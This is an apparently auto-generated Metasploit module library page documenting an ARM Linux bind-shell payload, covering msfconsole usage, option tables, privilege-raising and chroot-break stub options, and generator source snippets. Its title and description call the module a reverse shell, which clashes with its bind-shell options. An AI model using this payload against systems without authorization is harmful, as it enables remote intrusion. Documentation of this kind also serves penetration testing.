Linux Command Shell, Reverse TCP Inline - Metasploit


This page contains detailed information about how to use the payload/linux/armle/shell_bind_tcp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Linux Command Shell, Reverse TCP Inline
Module: payload/linux/armle/shell_bind_tcp
Source code: modules/payloads/singles/linux/armle/shell_bind_tcp.rb
Disclosure date: -
Last modification time: 2021-01-05 14:59:46 +0000
Supported architecture(s): armle
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Connect to target and spawn a command shell

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use payload/linux/armle/shell_bind_tcp
msf payload(shell_bind_tcp) > show options
    ... show and set options ...
msf payload(shell_bind_tcp) > generate

To learn how to generate payload/linux/armle/shell_bind_tcp with msfvenom, please read this.

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Msfconsole Usage

Here is how the linux/armle/shell_bind_tcp payload looks in the msfconsole:

msf6 > use payload/linux/armle/shell_bind_tcp

msf6 payload(linux/armle/shell_bind_tcp) > show info

       Name: Linux Command Shell, Reverse TCP Inline
     Module: payload/linux/armle/shell_bind_tcp
   Platform: Linux
       Arch: armle
Needs Admin: No
 Total size: 208
       Rank: Normal

Provided by:
  civ
  hal

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
ARGV0  sh               no        argv[0] to pass to execve
LPORT  4444             yes       The listen port
RHOST                   no        The target address
SHELL  /bin/sh          yes       The shell to execute.

Description:
  Connect to target and spawn a command shell

Module Options

This is a complete list of options available in the linux/armle/shell_bind_tcp payload:

msf6 payload(linux/armle/shell_bind_tcp) > show options

Module options (payload/linux/armle/shell_bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   ARGV0  sh               no        argv[0] to pass to execve
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address
   SHELL  /bin/sh          yes       The shell to execute.

Advanced Options

Here is a complete list of advanced options supported by the linux/armle/shell_bind_tcp payload:

msf6 payload(linux/armle/shell_bind_tcp) > show advanced

Module advanced options (payload/linux/armle/shell_bind_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AppendExit                  false            no        Append a stub that executes the exit(0) system call
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel       0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PrependChrootBreak          false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                 false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid               false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid             false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid            false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid            false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid             false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid               false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                   no        Redirect Debug Info to a Log File
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The specified shell must be less than 16 bytes.

Here is a relevant code snippet related to the "The specified shell must be less than 16 bytes." error message:

117:	  def generate
118:	    p = super
119:	
120:	    sh = datastore['SHELL']
121:	    if sh.length >= 16
122:	      raise ArgumentError, "The specified shell must be less than 16 bytes."
123:	    end
124:	    p[176, sh.length] = sh
125:	
126:	    arg = datastore['ARGV0']
127:	    if arg

The specified argv[0] must be less than 16 bytes.

Here is a relevant code snippet related to the "The specified argv[0] must be less than 16 bytes." error message:

124:	    p[176, sh.length] = sh
125:	
126:	    arg = datastore['ARGV0']
127:	    if arg
128:	      if arg.length >= 16
129:	        raise ArgumentError, "The specified argv[0] must be less than 16 bytes."
130:	      end
131:	      p[192, arg.length] = arg
132:	    end
133:	
134:	    p

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See Also

Check also the following modules related to this module:

Authors

  • civ
  • hal

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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